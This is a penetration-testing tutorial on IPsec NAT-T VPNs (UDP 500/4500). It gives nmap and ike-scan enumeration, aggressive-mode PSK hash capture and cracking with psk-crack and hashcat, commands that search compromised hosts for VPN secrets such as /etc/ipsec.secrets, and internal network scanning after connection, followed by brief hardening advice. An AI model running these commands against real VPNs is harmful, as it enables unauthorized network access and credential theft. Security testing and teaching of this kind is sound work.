Port 4500 IPsec NAT-T: VPN, IKE and PSK Cracking

Port 4500 IPsec NAT-T in the pentest: IKE, NAT traversal, aggressive mode, PSK cracking and exposed VPN surface analysis.
- Posted on 2026-04-14
- Reading time: 3 min
UDP port 4500 is used by IPsec NAT-Traversal (NAT-T), the mechanism that allows IPsec VPN tunnels to run through NAT devices. When a VPN client is behind a router with NAT, the IKE protocol on port 500 negotiates the connection, and then the ESP traffic is encapsulated in UDP on port 4500 to traverse the NAT. In penetration testing, finding an open 4500 port confirms the presence of an IPsec VPN concentrator—the entry point into the corporate network. The value is not in attacking IPsec itself (cryptographically robust if configured well), but in looking for misconfigurations: IKE aggressive mode that exposes crackable PSK hashes, weak pre-shared keys, and brute-forgeable VPN credentials.
Port 4500 always works in tandem with port 500 (IKE). If you find port 4500, also scan port 500—that's where the negotiation takes place, and you can attack it.
How IPsec NAT-T Works #
Client VPN (dietro NAT) Concentratore VPN
┌──────────────┐ ┌──────────────────┐
│ 192.168.1.5 │ │ VPN Gateway │
│ │ │ 203.0.113.10 │
│ IKE (:500) │ ── negotiate ──► │ IKE (:500) │
│ NAT-T (:4500)│ ── ESP in UDP ──►│ NAT-T (:4500) │
│ │ ◄── tunnel ──────│ Rete interna: │
│ │ 10.10.0.0/16 │ 10.10.0.0/16 │
└──────────────┘ └──────────────────┘Without NAT-T, the ESP protocol cannot traverse the NAT because it lacks TCP/UDP ports. NAT-T encapsulates ESP within UDP packets on port 4500.
1. Enumeration #
Nmap #
nmap -sU -p 500,4500 10.10.10.40PORT STATE SERVICE
500/udp open isakmp
4500/udp open ipsec-nat-tike-scan — Concentrator fingerprinting #
ike-scan -M 10.10.10.4010.10.10.40 Main Mode Handshake returned
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK)
VID=1f07f70eaa6514d3b0fa96542a500407 (Cisco Unity)Intelligence: Auth=PSK (crackable), 3DES (weak), Cisco Unity (is an ASA), Group 2 (DH 1024-bit, weak).
ike-scan aggressive mode — Capture PSK hash #
ike-scan -M --aggressive -P handshake.txt 10.10.10.40Aggressive mode sends the hash of the Pre-Shared Key in the first packet — interceptable and crackable offline.
Identify the vendor #
ike-scan -M --showbackoff 10.10.10.40The backoff pattern identifies: Cisco, Juniper, Fortinet, StrongSwan.
2. PSK Cracking #
If the concentrator supports aggressive mode, the captured hash is crackable.
# psk-crack (ike-scan suite)
psk-crack -d /usr/share/wordlists/rockyou.txt handshake.txtKey "VPN_Corp2025!" matches handshake# hashcat mode 5300 (IKEv1 aggressive mode PSK)
hashcat -m 5300 handshake.hash /usr/share/wordlists/rockyou.txtPSK found → you can connect to the VPN.
3. VPN Credentials from Other Sources #
Many VPN concentrators also require user credentials (XAUTH) in addition to the PSK:
# Cerca file di configurazione VPN su host compromessi
find / -name "*.pcf" -o -name "*.ovpn" -o -name "ipsec.secrets" 2>/dev/null# ipsec.secrets contiene le PSK in chiaro
cat /etc/ipsec.secrets10.10.10.40 : PSK "VPN_Corp2025!"# File .pcf (Cisco VPN client) — password offuscata ma decifrabile
cat vpn_profile.pcf | grep enc_GroupPwd
# Decodifica con cisco-decryptVPN credentials often match Active Directory credentials (LDAP auth), or are found in SVN /Git repositories, NFS shares , database dumps , or phishing emails.
4. Inside the VPN — Post-Connection #
# Connessione con StrongSwan
ipsec up corp-vpn
# Verifica subnet assegnata
ip addr show
ip routeYou are now in the internal network. Priority targets: Domain Controller , RDP , SMB , MySQL.
nmap -sn 10.10.0.0/16
nmap -sV -p- 10.10.10.0/245. Detection & Hardening #
- Disable aggressive mode — use only main mode (does not expose PSK hash)
- IKEv2 instead of IKEv1 — more secure, no aggressive mode
- strong PSK (20+ random characters) or better certified
- MFA for XAUTH — not just username/password
- DH Group 14+ (2048-bit) — not Group 2
- AES-256 instead of 3DES
- Monitor Failed VPN attempts (brute force indicator)
6. Final Cheat Sheet #
| Action | Command |
|---|---|
| Nmap | nmap -sU -p 500,4500 target |
| IKE fingerprint | ike-scan -M target |
| Aggressive mode | ike-scan -M --aggressive -P handshake.txt target |
| Vendor detect | ike-scan -M --showbackoff target |
| PSK crack | psk-crack -d wordlist handshake.txt |
| Hashcat IKEv1 | hashcat -m 5300 hash wordlist |
| Search PSK | cat /etc/ipsec.secrets |
| Search VPN config | find / -name "*.pcf" -o -name "*.ovpn" |
Reference: RFC 3947 (NAT-T), ike-scan documentation, Cisco ASA security guides. For authorized use only. https://sendthepayload.com/fixing-ipsec-tunnels-with-nat-traversal-nat-t/








